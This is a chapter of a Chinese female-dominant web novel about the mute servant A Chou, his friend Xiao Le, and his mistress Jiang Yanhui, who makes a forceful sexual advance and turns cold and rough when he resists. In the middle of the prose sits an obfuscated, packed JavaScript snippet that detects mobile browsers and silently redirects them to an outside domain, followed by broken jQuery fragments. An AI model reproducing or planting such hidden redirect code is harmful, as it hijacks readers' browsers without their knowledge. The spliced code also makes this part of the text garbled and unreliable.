20. 焦灼

作品:《哑奴(女尊)

    暴雪后的温度骤然降下又骤然升高,头顶炎炎烈日恍若来到了夏季,再看角落里未化掉的白雪,一瞬间恍惚。


    久住陵州的人对陵州风云变幻的气候习以为常,老一辈则会经验老道的对年轻人说后头还有一场雪,下完才正式步入陵州的春季。


    偏就有愣头青不信邪,脱下冬裘换上颜色鲜亮的春装,准备赶在第一波春风吹来时争做第一抹艳色。


    结果便是被当头落下的雪冻的抱头鼠窜,老实的躺家喝药等雪过去。


    最后一场雪下的温柔眷恋,像是在安抚暴风雪中受到惊吓的孩子。


    轻飘的雪花左摇右晃地落在阿丑小巧的鼻尖,他停下脚步抬头望去,微微睁大了眼睛。


    “阿丑,今天我也带了好吃的给你!”雪幕中跑来的小乐穿的暖和漂亮,揽住阿丑的肩膀前往独属于他们的秘密基地。


    秘密基地不过是游廊尽头,边上的屋子是鲜少有人来的杂物间,于是就成了阿丑和小乐见面闲聊的地方。


    两人蹲坐在地上刚好被栏杆遮挡住,风吹不着,雪落不到,小动物取暖般挨在一起,交换着得到的赏赐。


    小乐怀中掏了掏,一手抓出两个砂糖橘,开心的眉飞色舞,“月前送来的一批砂糖橘窦公子不爱吃,于是赏了不少下去。这天气能吃到水果可比黄金价,我想着你肯定没吃过,留了两个给你。”


    酸酸甜甜的汁水在味蕾炸开,阿丑惬意地眯起眼睛,是他吃到喜欢食物的表现。


    小乐凑的更近了些,压低声音悄摸着问,“你还记得福子吗?”


    福子是窦玉院中贴身侍奉的家奴,比小乐先一批被班叔调过去伺候。


    去找小乐时阿丑有幸见过一面,带着高人一等的傲气,训院中其他家奴更是说话不留情面,捡着难听羞辱人的话说。


    “窦公子没来前我跟福子有几面交情,说话做事都挺正常的。谁能想到一朝上调变了个性格,不过就小半月时间得罪了不少人。”


    想到其他人私底下对福子带有怨气的评价,小乐撇了撇嘴,唏嘘道,“昨天福子被发现死在了宿舍里。”


    阿丑骤然瞪圆了眼睛,震惊到忘记咀嚼,显然没想到会是这样的结局。


    “这些天的气候你也是知道的,班叔都说了要注意保暖,他偏不听,非得换上春装。结果当差的时候外头气温骤降,又不能擅离职守,活生生冻出的病。”


    王府家奴分为三六九等,区分地位等级的除了日常劳作的轻重以及住所的优渥条件,便是衣着打扮上的规定。


    侍奉主子的贴身俾郎衣着打扮自然要比绝大多数家奴复杂些,可惜冬日里头大家伙穿着灰扑扑的棉袄不显眼,春夏两装才是绣了漂亮花纹的鲜艳料子。


    福子爱显摆的性子有了能穿的机会可不就是耐不住,花孔雀似的在地位不如他的家奴跟前显摆一番,结果造成了无法挽回的惨剧。


    为奴被随意买卖时阿丑见识过不少撑不住死在路上的同伴,不论见识多少次生命的逝去,还是会感到惋惜。


    到嘴里的橘子变得没滋没味,福子的死让阿丑再次深刻意识到陵州的冬季有多么骇人。


    “福子死了,贴身侍奉窦公子的位置就空下一个,不少人盯着想上位呢。”小乐舔了舔下唇,眼底的野心不加掩饰,“既然福子那种人都能上,我怎么就不行呢?阿丑,你相信我吗?”


    阿丑立马打起精神,认真地点头。


    身上都有工作在,短暂的歇息闲聊便各自回去了,算是在孤苦无依的王府中互为慰藉。


    直到晚间雪也没有停下的意思,阿丑拍去头顶沾染的雪花,又在外间等身上的凉气散去才敢进里屋。


    从前他不曾留意这些小细节,可当得知江雁回受寒会复发旧疾,不由自主的就开始注意,本能的不想因为自己的失误而导致江雁回的痛楚。


    江雁回肩上披着件玄色外衣,鎏金的发带将浓密的黑发绑在身后,盘腿坐在铺满雪白狐皮的软榻上,不染尘埃的脱俗气质看呆了阿丑。


    “外头还下着?”


    阿丑猛然回过神,点头。


    江雁回,“看来还得再有两日才能停,停了春天就到了。”


    临睡前照例的任务是伺候江雁回泡足,阿丑表现的格外认真,撸高袖子晃着两条白生生胳膊端来调配好的药浴,试探水温后才去脱江雁回的袜套。


    跪下的阿丑只能被烛光照亮上半张脸,可就是那双无比认真的眼睛看的江雁回心痒痒。


    她突兀的说道,“脸上的冻疮好了。”


    江雁回想要谁的伤好全,那就是无数珍贵药材顶着用。阿丑脸颊上红肿结痂的冻疮在短短半个月内消失不见,肌肤变得比从前还要光滑细腻。


    阿丑感激地看向江雁回,脸上不再有刺痛的痒意,让他得以睡了好觉。


    知道所获得的一切全来自于眼前这位尊贵无比的女人,对江雁回的感激更浓了。


    手脚麻利的伺候完江雁回睡前事宜,阿丑洗干净双手,走到床榻旁为江雁回整理着床铺。


    熟悉工作流程和放下戒备心的阿丑在温暖的屋内只穿了两层衣裳,三指宽的腰带束出一把纤纤细腰,弯腰整理时在眼前小幅度摆动着,勾人而不自知。


    眼睛瞥过去便再难挪开,空寂了许久的一股心头火噌燃了起来,江雁回搓了搓指腹,眼神越发幽暗。


    穿着洁白足袜的脚踩在地毯上悄然无声,幽魂似的站在阿丑身后,只等着人一转身扑进怀中。


    如她所预料的一般,先闻到的是阿丑身上沾染的药味,而后是清新的皂荚气和说不清是从何而来的甜腻味。


    受惊的阿丑转过身想躲,又知后头是床铺,倒下去怕江雁回得再扔一次,那今晚就别想着休息了。


    阿丑直愣愣的站着,眼睁睁看着江雁回低下头凑近他颈间嗅闻着,炽热的呼吸扑打在敏感的肌肤,半边身子软的没力,他要被江雁回身上独有的好闻幽香包裹的头晕目眩。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146576|180126||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    柳条般柔韧的腰肢被江雁回有力的胳膊带进怀中,紧贴的身体一丝一毫的异动躲无可躲、避无可避。


    “长肉了。”


    削骨如柴的扁平身材在好吃好喝的喂养下覆上了一层薄薄的脂肪,摸起来更有手感了。


    不过江雁回觉得还不够,美人该丰韵多情,未经调教的阿丑太过于生涩稚嫩,倒也别有一番滋味。


    江雁回温热的手掌隔着衣料在阿丑的后腰上揉了两把,无法控制的酥麻感过电般激的阿丑一哆嗦,同一瞬间脸颊布上红晕,鲜红的耳垂仿佛要滴血。


    羞耻之余双眸弥漫上水雾,红润的唇难耐地抿起。发软发颤的两腿抖的站不稳,全靠借着江雁回的力气,才不至于丢脸的滑倒。


    激烈依赖的反应满足了江雁回对待情事上扭曲的掌控欲,漆黑如墨的眼睛直勾勾盯着意乱情迷,不知身处何处的阿丑,嘴角的笑意越扩越大。


    饱含情欲暧昧低哑哄诱道,“去床上。”


    阿丑犹如风浪中的一叶小舟,排山倒海的浪涛一遍遍想将他掀翻沉入水底,大口呼吸试图寻得一丝清明。


    白玉肌肤和深蓝色锦被交相呼应,阿丑软瘫四肢无力,半眯着眼睛注视着倾身的江雁回。


    江雁回发带滑落,如瀑布的长发散开。阿丑鬼使神差伸出手握住了她散下的长发,丝丝缕缕划过指缝,痒痒的。


    江雁回瞥了眼,握住阿丑的手摁在他脸侧。似乎是明白自己的容颜美好,江雁回眼睛弯了弯,问道,“好看吗?”


    阿丑诚实地点头。


    比起江雁回穿着华贵拒人于千里之外的样子,他更喜欢窝在温暖屋内慵懒看书的江雁回,让人无端内心宁静。


    江雁回屈起的手指刮过阿丑脸颊,“你也好看。”


    摊开身体柔顺任意摆弄的阿丑在江雁回试图解开他衣领时猛地回过神,眼神瞬间清明中带上浓浓惧怕,爆发出的巨大力气挣脱开了江雁回的束缚,惶恐不安地紧紧攥着衣领,蹬着腿往后拉开距离。


    不论是出于何种原因,江雁回都不喜欢在床上抗拒甚至躲避她的人,不悦的压下眉眼,阿丑更是直接红了眼尾,可怜兮兮蜷缩起腿。


    江雁回撩起垂下的头发,露出光洁饱满的额头,锐利的美貌极富攻击性,中途被打断压着股无名火,耐着脾气地问道,“为什么躲?”


    阿丑缓缓地眨着眼睛,低下头不肯表达。


    暧昧的气氛变得焦灼不安。


    江雁回轻啧一声,抬起阿丑下巴,用力之大到阿丑觉得骨头要碎掉了,鼻子又酸又胀,蓄在眼眶的泪水眨眼间落了下来。


    “不会说话,那就写下来。”


    江雁回拽着阿丑下了床,提溜小鸡仔一般拖拽着他来到桌前,摁着人坐在了椅子上,毛笔粗鲁地往他手里一塞,阿丑脸上留下了几滴飞溅出的墨汁。


    “写。”


    居高临下的江雁回垂眸冷冷看着他,发号施令的口吻浇灭了阿丑最后残留的一丝期待。